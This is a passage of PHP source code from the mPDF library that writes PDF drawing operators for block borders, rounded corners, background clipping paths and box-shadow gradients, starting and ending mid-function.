&& $brTR_V) { $s .= ($this->_EllipseArc($x0 + $w - $brTR_H, $y0 + $brTR_V, $brTR_H - $border_top / 2, $brTR_V - $border_top / 2, 1, 2, true)) . "\n"; } else { /* -- END BORDER-RADIUS -- */ if ($tbd['style'] == 'solid' || $tbd['style'] == 'double') { $s .= (sprintf('%.3F %.3F m ', ($x0 + $w) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } else { $s .= (sprintf('%.3F %.3F m ', ($x0 + $w - ($border_top / 2)) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } } /* -- BORDER-RADIUS -- */ if ($brTL_H && $brTL_V) { if ($legend) { if ($legbreakR < ($x0 + $w - $brTR_H)) { $s .= (sprintf('%.3F %.3F l ', $legbreakR * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } if ($legbreakL > ($x0 + $brTL_H )) { $s .= (sprintf('%.3F %.3F m ', $legbreakL * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; $s .= (sprintf('%.3F %.3F l ', ($x0 + $brTL_H ) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE) . "\n"); } else { $s .= (sprintf('%.3F %.3F m ', ($x0 + $brTL_H ) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } } else { $s .= (sprintf('%.3F %.3F l ', ($x0 + $brTL_H ) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } $s .= ($this->_EllipseArc($x0 + $brTL_H, $y0 + $brTL_V, $brTL_H - $border_top / 2, $brTL_V - $border_top / 2, 2, 1)) . "\n"; } else { /* -- END BORDER-RADIUS -- */ if ($legend) { if ($legbreakR < ($x0 + $w)) { $s .= (sprintf('%.3F %.3F l ', $legbreakR * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } if ($legbreakL > ($x0)) { $s .= (sprintf('%.3F %.3F m ', $legbreakL * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; if ($tbd['style'] == 'solid' || $tbd['style'] == 'double') { $s .= (sprintf('%.3F %.3F l ', ($x0) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } else { $s .= (sprintf('%.3F %.3F l ', ($x0 + ($border_top / 2)) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } } elseif ($tbd['style'] == 'solid' || $tbd['style'] == 'double') { $s .= (sprintf('%.3F %.3F m ', ($x0) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } else { $s .= (sprintf('%.3F %.3F m ', ($x0 + $border_top / 2) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } } elseif ($tbd['style'] == 'solid' || $tbd['style'] == 'double') { $s .= (sprintf('%.3F %.3F l ', ($x0) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } else { $s .= (sprintf('%.3F %.3F l ', ($x0 + ($border_top / 2)) * Mpdf::SCALE, ($this->h - ($y0 + ($border_top / 2))) * Mpdf::SCALE)) . "\n"; } /* -- BORDER-RADIUS -- */ } /* -- END BORDER-RADIUS -- */ $s .= 'S' . "\n"; $this->writer->write($s); if ($tbd['style'] == 'double') { $this->SetLineWidth($tbd['w'] / 3); $this->SetDColor($tbcol); $this->writer->write($s); } if (!$brset && $tbd['style'] != 'dotted' && $tbd['style'] != 'dashed') { $this->writer->write('Q'); } // Reset Corners and Dash off $this->SetLineWidth(0.1); $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } // Reinstate line above for dotted line divider when block border crosses a page // elseif ($divider == 'pagetop' || $continuingpage) { if ($this->blk[$blvl]['border_bottom'] && $blockstate != 1 && $divider != 'pagebottom') { $tbd = $this->blk[$blvl]['border_bottom']; if (isset($tbd['s']) && $tbd['s']) { if (!$brset && $tbd['style'] != 'dotted' && $tbd['style'] != 'dashed') { $this->writer->write('q'); $this->SetLineWidth(0); $this->writer->write(sprintf('%.3F %.3F m ', ($x0) * Mpdf::SCALE, ($this->h - ($y0 + $h)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $border_left) * Mpdf::SCALE, ($this->h - ($y0 + $h - $border_bottom)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $w - $border_right) * Mpdf::SCALE, ($this->h - ($y0 + $h - $border_bottom)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $w) * Mpdf::SCALE, ($this->h - ($y0 + $h)) * Mpdf::SCALE)); $this->writer->write(' h W n '); // Ends path no-op & Sets the clipping path } $this->_setBorderLine($tbd); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->_setDashBorder($tbd['style'], $divider, $continuingpage, 'B'); } /* -- BORDER-RADIUS -- */ elseif (($brBL_V && $brBL_H) || ($brBR_V && $brBR_H) || $tbd['style'] == 'solid' || $tbd['style'] == 'double') { $this->SetLineJoin(0); $this->SetLineCap(0); } $s = ''; if ($brBL_H && $brBL_V) { $s .= ($this->_EllipseArc($x0 + $brBL_H, $y0 + $h - $brBL_V, $brBL_H - $border_bottom / 2, $brBL_V - $border_bottom / 2, 3, 2, true)) . "\n"; } else { /* -- END BORDER-RADIUS -- */ if ($tbd['style'] == 'solid' || $tbd['style'] == 'double') { $s .= (sprintf('%.3F %.3F m ', ($x0) * Mpdf::SCALE, ($this->h - ($y0 + $h - ($border_bottom / 2))) * Mpdf::SCALE)) . "\n"; } else { $s .= (sprintf('%.3F %.3F m ', ($x0 + ($border_bottom / 2)) * Mpdf::SCALE, ($this->h - ($y0 + $h - ($border_bottom / 2))) * Mpdf::SCALE)) . "\n"; } } /* -- BORDER-RADIUS -- */ if ($brBR_H && $brBR_V) { $s .= (sprintf('%.3F %.3F l ', ($x0 + $w - ($border_bottom / 2) - $brBR_H ) * Mpdf::SCALE, ($this->h - ($y0 + $h - ($border_bottom / 2))) * Mpdf::SCALE)) . "\n"; $s .= ($this->_EllipseArc($x0 + $w - $brBR_H, $y0 + $h - $brBR_V, $brBR_H - $border_bottom / 2, $brBR_V - $border_bottom / 2, 4, 1)) . "\n"; } else { /* -- END BORDER-RADIUS -- */ if ($tbd['style'] == 'solid' || $tbd['style'] == 'double') { $s .= (sprintf('%.3F %.3F l ', ($x0 + $w) * Mpdf::SCALE, ($this->h - ($y0 + $h - ($border_bottom / 2))) * Mpdf::SCALE)) . "\n"; } else { $s .= (sprintf('%.3F %.3F l ', ($x0 + $w - ($border_bottom / 2)) * Mpdf::SCALE, ($this->h - ($y0 + $h - ($border_bottom / 2))) * Mpdf::SCALE)) . "\n"; } } $s .= 'S' . "\n"; $this->writer->write($s); if ($tbd['style'] == 'double') { $this->SetLineWidth($tbd['w'] / 3); $this->SetDColor($tbcol); $this->writer->write($s); } if (!$brset && $tbd['style'] != 'dotted' && $tbd['style'] != 'dashed') { $this->writer->write('Q'); } // Reset Corners and Dash off $this->SetLineWidth(0.1); $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } // Reinstate line below for dotted line divider when block border crosses a page // elseif ($blockstate == 1 || $divider == 'pagebottom') { if ($this->blk[$blvl]['border_left']) { $tbd = $this->blk[$blvl]['border_left']; if (isset($tbd['s']) && $tbd['s']) { if (!$brset && $tbd['style'] != 'dotted' && $tbd['style'] != 'dashed') { $this->writer->write('q'); $this->SetLineWidth(0); $this->writer->write(sprintf('%.3F %.3F m ', ($x0) * Mpdf::SCALE, ($this->h - ($y0)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $border_left) * Mpdf::SCALE, ($this->h - ($y0 + $border_top)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $border_left) * Mpdf::SCALE, ($this->h - ($y0 + $h - $border_bottom)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0) * Mpdf::SCALE, ($this->h - ($y0 + $h)) * Mpdf::SCALE)); $this->writer->write(' h W n '); // Ends path no-op & Sets the clipping path } $this->_setBorderLine($tbd); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->_setDashBorder($tbd['style'], $divider, $continuingpage, 'L'); } /* -- BORDER-RADIUS -- */ elseif (($brTL_V && $brTL_H) || ($brBL_V && $brBL_H) || $tbd['style'] == 'solid' || $tbd['style'] == 'double') { $this->SetLineJoin(0); $this->SetLineCap(0); } $s = ''; if ($brTL_V && $brTL_H) { $s .= ($this->_EllipseArc($x0 + $brTL_H, $y0 + $brTL_V, $brTL_H - $border_left / 2, $brTL_V - $border_left / 2, 2, 2, true)) . "\n"; } else { /* -- END BORDER-RADIUS -- */ if ($tbd['style'] == 'solid' || $tbd['style'] == 'double') { $s .= (sprintf('%.3F %.3F m ', ($x0 + ($border_left / 2)) * Mpdf::SCALE, ($this->h - ($y0)) * Mpdf::SCALE)) . "\n"; } else { $s .= (sprintf('%.3F %.3F m ', ($x0 + ($border_left / 2)) * Mpdf::SCALE, ($this->h - ($y0 + ($border_left / 2))) * Mpdf::SCALE)) . "\n"; } } /* -- BORDER-RADIUS -- */ if ($brBL_V && $brBL_H) { $s .= (sprintf('%.3F %.3F l ', ($x0 + ($border_left / 2)) * Mpdf::SCALE, ($this->h - ($y0 + $h - ($border_left / 2) - $brBL_V) ) * Mpdf::SCALE)) . "\n"; $s .= ($this->_EllipseArc($x0 + $brBL_H, $y0 + $h - $brBL_V, $brBL_H - $border_left / 2, $brBL_V - $border_left / 2, 3, 1)) . "\n"; } else { /* -- END BORDER-RADIUS -- */ if ($tbd['style'] == 'solid' || $tbd['style'] == 'double') { $s .= (sprintf('%.3F %.3F l ', ($x0 + ($border_left / 2)) * Mpdf::SCALE, ($this->h - ($y0 + $h) ) * Mpdf::SCALE)) . "\n"; } else { $s .= (sprintf('%.3F %.3F l ', ($x0 + ($border_left / 2)) * Mpdf::SCALE, ($this->h - ($y0 + $h - ($border_left / 2)) ) * Mpdf::SCALE)) . "\n"; } } $s .= 'S' . "\n"; $this->writer->write($s); if ($tbd['style'] == 'double') { $this->SetLineWidth($tbd['w'] / 3); $this->SetDColor($tbcol); $this->writer->write($s); } if (!$brset && $tbd['style'] != 'dotted' && $tbd['style'] != 'dashed') { $this->writer->write('Q'); } // Reset Corners and Dash off $this->SetLineWidth(0.1); $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } if ($this->blk[$blvl]['border_right']) { $tbd = $this->blk[$blvl]['border_right']; if (isset($tbd['s']) && $tbd['s']) { if (!$brset && $tbd['style'] != 'dotted' && $tbd['style'] != 'dashed') { $this->writer->write('q'); $this->SetLineWidth(0); $this->writer->write(sprintf('%.3F %.3F m ', ($x0 + $w) * Mpdf::SCALE, ($this->h - ($y0)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $w - $border_right) * Mpdf::SCALE, ($this->h - ($y0 + $border_top)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $w - $border_right) * Mpdf::SCALE, ($this->h - ($y0 + $h - $border_bottom)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $w) * Mpdf::SCALE, ($this->h - ($y0 + $h)) * Mpdf::SCALE)); $this->writer->write(' h W n '); // Ends path no-op & Sets the clipping path } $this->_setBorderLine($tbd); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->_setDashBorder($tbd['style'], $divider, $continuingpage, 'R'); } /* -- BORDER-RADIUS -- */ elseif (($brTR_V && $brTR_H) || ($brBR_V && $brBR_H) || $tbd['style'] == 'solid' || $tbd['style'] == 'double') { $this->SetLineJoin(0); $this->SetLineCap(0); } $s = ''; if ($brBR_V && $brBR_H) { $s .= ($this->_EllipseArc($x0 + $w - $brBR_H, $y0 + $h - $brBR_V, $brBR_H - $border_right / 2, $brBR_V - $border_right / 2, 4, 2, true)) . "\n"; } else { /* -- END BORDER-RADIUS -- */ if ($tbd['style'] == 'solid' || $tbd['style'] == 'double') { $s .= (sprintf('%.3F %.3F m ', ($x0 + $w - ($border_right / 2)) * Mpdf::SCALE, ($this->h - ($y0 + $h)) * Mpdf::SCALE)) . "\n"; } else { $s .= (sprintf('%.3F %.3F m ', ($x0 + $w - ($border_right / 2)) * Mpdf::SCALE, ($this->h - ($y0 + $h - ($border_right / 2))) * Mpdf::SCALE)) . "\n"; } } /* -- BORDER-RADIUS -- */ if ($brTR_V && $brTR_H) { $s .= (sprintf('%.3F %.3F l ', ($x0 + $w - ($border_right / 2)) * Mpdf::SCALE, ($this->h - ($y0 + ($border_right / 2) + $brTR_V) ) * Mpdf::SCALE)) . "\n"; $s .= ($this->_EllipseArc($x0 + $w - $brTR_H, $y0 + $brTR_V, $brTR_H - $border_right / 2, $brTR_V - $border_right / 2, 1, 1)) . "\n"; } else { /* -- END BORDER-RADIUS -- */ if ($tbd['style'] == 'solid' || $tbd['style'] == 'double') { $s .= (sprintf('%.3F %.3F l ', ($x0 + $w - ($border_right / 2)) * Mpdf::SCALE, ($this->h - ($y0) ) * Mpdf::SCALE)) . "\n"; } else { $s .= (sprintf('%.3F %.3F l ', ($x0 + $w - ($border_right / 2)) * Mpdf::SCALE, ($this->h - ($y0 + ($border_right / 2)) ) * Mpdf::SCALE)) . "\n"; } } $s .= 'S' . "\n"; $this->writer->write($s); if ($tbd['style'] == 'double') { $this->SetLineWidth($tbd['w'] / 3); $this->SetDColor($tbcol); $this->writer->write($s); } if (!$brset && $tbd['style'] != 'dotted' && $tbd['style'] != 'dashed') { $this->writer->write('Q'); } // Reset Corners and Dash off $this->SetLineWidth(0.1); $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } $this->SetDash(); $this->y = $save_y; // BACKGROUNDS are disabled in columns/kbt/headers - messes up the repositioning in printcolumnbuffer if ($this->ColActive || $this->kwt || $this->keep_block_together) { return; } $bgx0 = $x0; $bgx1 = $x1; $bgy0 = $y0; $bgy1 = $y1; // Defined br values represent the radius of the outer curve - need to take border-width/2 from each radius for drawing the borders if (isset($this->blk[$blvl]['background_clip']) && $this->blk[$blvl]['background_clip'] == 'padding-box') { $brbgTL_H = max(0, $brTL_H - $this->blk[$blvl]['border_left']['w']); $brbgTL_V = max(0, $brTL_V - $this->blk[$blvl]['border_top']['w']); $brbgTR_H = max(0, $brTR_H - $this->blk[$blvl]['border_right']['w']); $brbgTR_V = max(0, $brTR_V - $this->blk[$blvl]['border_top']['w']); $brbgBL_H = max(0, $brBL_H - $this->blk[$blvl]['border_left']['w']); $brbgBL_V = max(0, $brBL_V - $this->blk[$blvl]['border_bottom']['w']); $brbgBR_H = max(0, $brBR_H - $this->blk[$blvl]['border_right']['w']); $brbgBR_V = max(0, $brBR_V - $this->blk[$blvl]['border_bottom']['w']); $bgx0 += $this->blk[$blvl]['border_left']['w']; $bgx1 -= $this->blk[$blvl]['border_right']['w']; if ($this->blk[$blvl]['border_top'] && $divider != 'pagetop' && !$continuingpage) { $bgy0 += $this->blk[$blvl]['border_top']['w']; } if ($this->blk[$blvl]['border_bottom'] && $blockstate != 1 && $divider != 'pagebottom') { $bgy1 -= $this->blk[$blvl]['border_bottom']['w']; } } elseif (isset($this->blk[$blvl]['background_clip']) && $this->blk[$blvl]['background_clip'] == 'content-box') { $brbgTL_H = max(0, $brTL_H - $this->blk[$blvl]['border_left']['w'] - $this->blk[$blvl]['padding_left']); $brbgTL_V = max(0, $brTL_V - $this->blk[$blvl]['border_top']['w'] - $this->blk[$blvl]['padding_top']); $brbgTR_H = max(0, $brTR_H - $this->blk[$blvl]['border_right']['w'] - $this->blk[$blvl]['padding_right']); $brbgTR_V = max(0, $brTR_V - $this->blk[$blvl]['border_top']['w'] - $this->blk[$blvl]['padding_top']); $brbgBL_H = max(0, $brBL_H - $this->blk[$blvl]['border_left']['w'] - $this->blk[$blvl]['padding_left']); $brbgBL_V = max(0, $brBL_V - $this->blk[$blvl]['border_bottom']['w'] - $this->blk[$blvl]['padding_bottom']); $brbgBR_H = max(0, $brBR_H - $this->blk[$blvl]['border_right']['w'] - $this->blk[$blvl]['padding_right']); $brbgBR_V = max(0, $brBR_V - $this->blk[$blvl]['border_bottom']['w'] - $this->blk[$blvl]['padding_bottom']); $bgx0 += $this->blk[$blvl]['border_left']['w'] + $this->blk[$blvl]['padding_left']; $bgx1 -= $this->blk[$blvl]['border_right']['w'] + $this->blk[$blvl]['padding_right']; if (($this->blk[$blvl]['border_top']['w'] || $this->blk[$blvl]['padding_top']) && $divider != 'pagetop' && !$continuingpage) { $bgy0 += $this->blk[$blvl]['border_top']['w'] + $this->blk[$blvl]['padding_top']; } if (($this->blk[$blvl]['border_bottom']['w'] || $this->blk[$blvl]['padding_bottom']) && $blockstate != 1 && $divider != 'pagebottom') { $bgy1 -= $this->blk[$blvl]['border_bottom']['w'] + $this->blk[$blvl]['padding_bottom']; } } else { $brbgTL_H = $brTL_H; $brbgTL_V = $brTL_V; $brbgTR_H = $brTR_H; $brbgTR_V = $brTR_V; $brbgBL_H = $brBL_H; $brbgBL_V = $brBL_V; $brbgBR_H = $brBR_H; $brbgBR_V = $brBR_V; } // Set clipping path $s = ' q 0 w '; // Line width=0 $s .= sprintf('%.3F %.3F m ', ($bgx0 + $brbgTL_H ) * Mpdf::SCALE, ($this->h - $bgy0) * Mpdf::SCALE); // start point TL before the arc /* -- BORDER-RADIUS -- */ if ($brbgTL_H || $brbgTL_V) { $s .= $this->_EllipseArc($bgx0 + $brbgTL_H, $bgy0 + $brbgTL_V, $brbgTL_H, $brbgTL_V, 2); // segment 2 TL } /* -- END BORDER-RADIUS -- */ $s .= sprintf('%.3F %.3F l ', ($bgx0) * Mpdf::SCALE, ($this->h - ($bgy1 - $brbgBL_V )) * Mpdf::SCALE); // line to BL /* -- BORDER-RADIUS -- */ if ($brbgBL_H || $brbgBL_V) { $s .= $this->_EllipseArc($bgx0 + $brbgBL_H, $bgy1 - $brbgBL_V, $brbgBL_H, $brbgBL_V, 3); // segment 3 BL } /* -- END BORDER-RADIUS -- */ $s .= sprintf('%.3F %.3F l ', ($bgx1 - $brbgBR_H ) * Mpdf::SCALE, ($this->h - ($bgy1)) * Mpdf::SCALE); // line to BR /* -- BORDER-RADIUS -- */ if ($brbgBR_H || $brbgBR_V) { $s .= $this->_EllipseArc($bgx1 - $brbgBR_H, $bgy1 - $brbgBR_V, $brbgBR_H, $brbgBR_V, 4); // segment 4 BR } /* -- END BORDER-RADIUS -- */ $s .= sprintf('%.3F %.3F l ', ($bgx1) * Mpdf::SCALE, ($this->h - ($bgy0 + $brbgTR_V)) * Mpdf::SCALE); // line to TR /* -- BORDER-RADIUS -- */ if ($brbgTR_H || $brbgTR_V) { $s .= $this->_EllipseArc($bgx1 - $brbgTR_H, $bgy0 + $brbgTR_V, $brbgTR_H, $brbgTR_V, 1); // segment 1 TR } /* -- END BORDER-RADIUS -- */ $s .= sprintf('%.3F %.3F l ', ($bgx0 + $brbgTL_H ) * Mpdf::SCALE, ($this->h - $bgy0) * Mpdf::SCALE); // line to TL // Box Shadow $shadow = ''; if (isset($this->blk[$blvl]['box_shadow']) && $this->blk[$blvl]['box_shadow'] && $h > 0) { foreach ($this->blk[$blvl]['box_shadow'] as $sh) { // Colors if ($sh['col'][0] == 1) { $colspace = 'Gray'; if ($sh['col'][2] == 1) { $col1 = '1' . $sh['col'][1] . '1' . $sh['col'][3]; } else { $col1 = '1' . $sh['col'][1] . '1' . chr(100); } $col2 = '1' . $sh['col'][1] . '1' . chr(0); } elseif ($sh['col'][0] == 4) { // CMYK $colspace = 'CMYK'; $col1 = '6' . $sh['col'][1] . $sh['col'][2] . $sh['col'][3] . $sh['col'][4] . chr(100); $col2 = '6' . $sh['col'][1] . $sh['col'][2] . $sh['col'][3] . $sh['col'][4] . chr(0); } elseif ($sh['col'][0] == 5) { // RGBa $colspace = 'RGB'; $col1 = '5' . $sh['col'][1] . $sh['col'][2] . $sh['col'][3] . $sh['col'][4]; $col2 = '5' . $sh['col'][1] . $sh['col'][2] . $sh['col'][3] . chr(0); } elseif ($sh['col'][0] == 6) { // CMYKa $colspace = 'CMYK'; $col1 = '6' . $sh['col'][1] . $sh['col'][2] . $sh['col'][3] . $sh['col'][4] . $sh['col'][5]; $col2 = '6' . $sh['col'][1] . $sh['col'][2] . $sh['col'][3] . $sh['col'][4] . chr(0); } else { $colspace = 'RGB'; $col1 = '5' . $sh['col'][1] . $sh['col'][2] . $sh['col'][3] . chr(100); $col2 = '5' . $sh['col'][1] . $sh['col'][2] . $sh['col'][3] . chr(0); } // Use clipping path as set above (and rectangle around page) to clip area outside box $shadow .= $s; // Use the clipping path with W* $shadow .= sprintf('0 %.3F m %.3F %.3F l ', $this->h * Mpdf::SCALE, $this->w * Mpdf::SCALE, $this->h * Mpdf::SCALE); $shadow .= sprintf('%.3F 0 l 0 0 l 0 %.3F l ', $this->w * Mpdf::SCALE, $this->h * Mpdf::SCALE); $shadow .= 'W n' . "\n"; $sh['blur'] = abs($sh['blur']); // cannot have negative blur value // Ensure spread/blur do not make effective shadow width/height < 0 // Could do more complex things but this just adjusts spread value if (-$sh['spread'] + $sh['blur'] / 2 > min($w / 2, $h / 2)) { $sh['spread'] = $sh['blur'] / 2 - min($w / 2, $h / 2) + 0.01; } // Shadow Offset if ($sh['x'] || $sh['y']) { $shadow .= sprintf(' q 1 0 0 1 %.4F %.4F cm', $sh['x'] * Mpdf::SCALE, -$sh['y'] * Mpdf::SCALE) . "\n"; } // Set path for INNER shadow $shadow .= ' q 0 w '; $shadow .= $this->SetFColor($col1, true) . "\n"; if ($col1[0] == 5 && ord($col1[4]) < 100) { // RGBa $shadow .= $this->SetAlpha(ord($col1[4]) / 100, 'Normal', true, 'F') . "\n"; } elseif ($col1[0] == 6 && ord($col1[5]) < 100) { // CMYKa $shadow .= $this->SetAlpha(ord($col1[5]) / 100, 'Normal', true, 'F') . "\n"; } elseif ($col1[0] == 1 && $col1[2] == 1 && ord($col1[3]) < 100) { // Gray $shadow .= $this->SetAlpha(ord($col1[3]) / 100, 'Normal', true, 'F') . "\n"; } // Blur edges $mag = 0.551784; // Bezier Control magic number for 4-part spline for circle/ellipse $mag2 = 0.551784; // Bezier Control magic number to fill in edge of blurred rectangle $d1 = $sh['spread'] + $sh['blur'] / 2; $d2 = $sh['spread'] - $sh['blur'] / 2; $bl = $sh['blur']; $x00 = $x0 - $d1; $y00 = $y0 - $d1; $w00 = $w + $d1 * 2; $h00 = $h + $d1 * 2; // If any border-radius is greater width-negative spread(inner edge), ignore radii for shadow or screws up $flatten = false; if (max($brbgTR_H, $brbgTL_H, $brbgBR_H, $brbgBL_H) >= $w + $d2) { $flatten = true; } if (max($brbgTR_V, $brbgTL_V, $brbgBR_V, $brbgBL_V) >= $h + $d2) { $flatten = true; } // TOP RIGHT corner $p1x = $x00 + $w00 - $d1 - $brbgTR_H; $p1c2x = $p1x + ($d2 + $brbgTR_H) * $mag; $p1y = $y00 + $bl; $p2x = $x00 + $w00 - $d1 - $brbgTR_H; $p2c2x = $p2x + ($d1 + $brbgTR_H) * $mag; $p2y = $y00; $p2c1y = $p2y + $bl / 2; $p3x = $x00 + $w00; $p3c2x = $p3x - $bl / 2; $p3y = $y00 + $d1 + $brbgTR_V; $p3c1y = $p3y - ($d1 + $brbgTR_V) * $mag; $p4x = $x00 + $w00 - $bl; $p4y = $y00 + $d1 + $brbgTR_V; $p4c2y = $p4y - ($d2 + $brbgTR_V) * $mag; if (-$d2 > min($brbgTR_H, $brbgTR_V) || $flatten) { $p1x = $x00 + $w00 - $bl; $p1c2x = $p1x; $p2x = $x00 + $w00 - $bl; $p2c2x = $p2x + $bl * $mag2; $p3y = $y00 + $bl; $p3c1y = $p3y - $bl * $mag2; $p4y = $y00 + $bl; $p4c2y = $p4y; } $shadow .= sprintf('%.3F %.3F m ', ($p1x ) * Mpdf::SCALE, ($this->h - ($p1y )) * Mpdf::SCALE); $shadow .= sprintf('%.3F %.3F %.3F %.3F %.3F %.3F c ', ($p1c2x) * Mpdf::SCALE, ($this->h - ($p1y)) * Mpdf::SCALE, ($p4x) * Mpdf::SCALE, ($this->h - ($p4c2y)) * Mpdf::SCALE, ($p4x) * Mpdf::SCALE, ($this->h - ($p4y)) * Mpdf::SCALE); $patch_array[0]['f'] = 0; $patch_array[0]['points'] = [$p1x, $p1y, $p1x, $p1y, $p2x, $p2c1y, $p2x, $p2y, $p2c2x, $p2y, $p3x, $p3c1y, $p3x, $p3y, $p3c2x, $p3y, $p4x, $p4y, $p4x, $p4y, $p4x, $p4c2y, $p1c2x, $p1y]; $patch_array[0]['colors'] = [$col1, $col2, $col2, $col1]; // RIGHT $p1x = $x00 + $w00; // control point only matches p3 preceding $p1y = $y00 + $d1 + $brbgTR_V; $p2x = $x00 + $w00 - $bl; // control point only matches p4 preceding $p2y = $y00 + $d1 + $brbgTR_V; $p3x = $x00 + $w00 - $bl; $p3y = $y00 + $h00 - $d1 - $brbgBR_V; $p4x = $x00 + $w00; $p4c1x = $p4x - $bl / 2; $p4y = $y00 + $h00 - $d1 - $brbgBR_V; if (-$d2 > min($brbgTR_H, $brbgTR_V) || $flatten) { $p1y = $y00 + $bl; $p2y = $y00 + $bl; } if (-$d2 > min($brbgBR_H, $brbgBR_V) || $flatten) { $p3y = $y00 + $h00 - $bl; $p4y = $y00 + $h00 - $bl; } $shadow .= sprintf('%.3F %.3F l ', ($p3x ) * Mpdf::SCALE, ($this->h - ($p3y )) * Mpdf::SCALE); $patch_array[1]['f'] = 2; $patch_array[1]['points'] = [$p2x, $p2y, $p3x, $p3y, $p3x, $p3y, $p3x, $p3y, $p4c1x, $p4y, $p4x, $p4y, $p4x, $p4y, $p1x, $p1y]; $patch_array[1]['colors'] = [$col1, $col2]; // BOTTOM RIGHT corner $p1x = $x00 + $w00 - $bl; // control points only matches p3 preceding $p1y = $y00 + $h00 - $d1 - $brbgBR_V; $p1c2y = $p1y + ($d2 + $brbgBR_V) * $mag; $p2x = $x00 + $w00; // control point only matches p4 preceding $p2y = $y00 + $h00 - $d1 - $brbgBR_V; $p2c2y = $p2y + ($d1 + $brbgBR_V) * $mag; $p3x = $x00 + $w00 - $d1 - $brbgBR_H; $p3c1x = $p3x + ($d1 + $brbgBR_H) * $mag; $p3y = $y00 + $h00; $p3c2y = $p3y - $bl / 2; $p4x = $x00 + $w00 - $d1 - $brbgBR_H; $p4c2x = $p4x + ($d2 + $brbgBR_H) * $mag; $p4y = $y00 + $h00 - $bl; if (-$d2 > min($brbgBR_H, $brbgBR_V) || $flatten) { $p1y = $y00 + $h00 - $bl; $p1c2y = $p1y; $p2y = $y00 + $h00 - $bl; $p2c2y = $p2y + $bl * $mag2; $p3x = $x00 + $w00 - $bl; $p3c1x = $p3x + $bl * $mag2; $p4x = $x00 + $w00 - $bl; $p4c2x = $p4x; } $shadow .= sprintf('%.3F %.3F %.3F %.3F %.3F %.3F c ', ($p1x) * Mpdf::SCALE, ($this->h - ($p1c2y)) * Mpdf::SCALE, ($p4c2x) * Mpdf::SCALE, ($this->h - ($p4y)) * Mpdf::SCALE, ($p4x) * Mpdf::SCALE, ($this->h - ($p4y)) * Mpdf::SCALE); $patch_array[2]['f'] = 2; $patch_array[2]['points'] = [$p2x, $p2c2y, $p3c1x, $p3y, $p3x, $p3y, $p3x, $p3c2y, $p4x, $p4y, $p4x, $p4y, $p4c2x, $p4y, $p1x, $p1c2y]; $patch_array[2]['colors'] = [$col2, $col1]; // BOTTOM $p1x = $x00 + $w00 - $d1 - $brbgBR_H; // control point only matches p3 preceding $p1y = $y00 + $h00; $p2x = $x00 + $w00 - $d1 - $brbgBR_H; // control point only matches p4 preceding $p2y = $y00 + $h00 - $bl; $p3x = $x00 + $d1 + $brbgBL_H; $p3y = $y00 + $h00 - $bl; $p4x = $x00 + $d1 + $brbgBL_H; $p4y = $y00 + $h00; $p4c1y = $p4y - $bl / 2; if (-$d2 > min($brbgBR_H, $brbgBR_V) || $flatten) { $p1x = $x00 + $w00 - $bl; $p2x = $x00 + $w00 - $bl; } if (-$d2 > min($brbgBL_H, $brbgBL_V) || $flatten) { $p3x = $x00 + $bl; $p4x = $x00 + $bl; } $shadow .= sprintf('%.3F %.3F l ', ($p3x ) * Mpdf::SCALE, ($this->h - ($p3y )) * Mpdf::SCALE); $patch_array[3]['f'] = 2; $patch_array[3]['points'] = [$p2x, $p2y, $p3x, $p3y, $p3x, $p3y, $p3x, $p3y, $p4x, $p4c1y, $p4x, $p4y, $p4x, $p4y, $p1x, $p1y]; $patch_array[3]['colors'] = [$col1, $col2]; // BOTTOM LEFT corner $p1x = $x00 + $d1 + $brbgBL_H; $p1c2x = $p1x - ($d2 + $brbgBL_H) * $mag; // control points only matches p3 preceding $p1y = $y00 + $h00 - $bl; $p2x = $x00 + $d1 + $brbgBL_H; $p2c2x = $p2x - ($d1 + $brbgBL_H) * $mag; // control point only matches p4 preceding 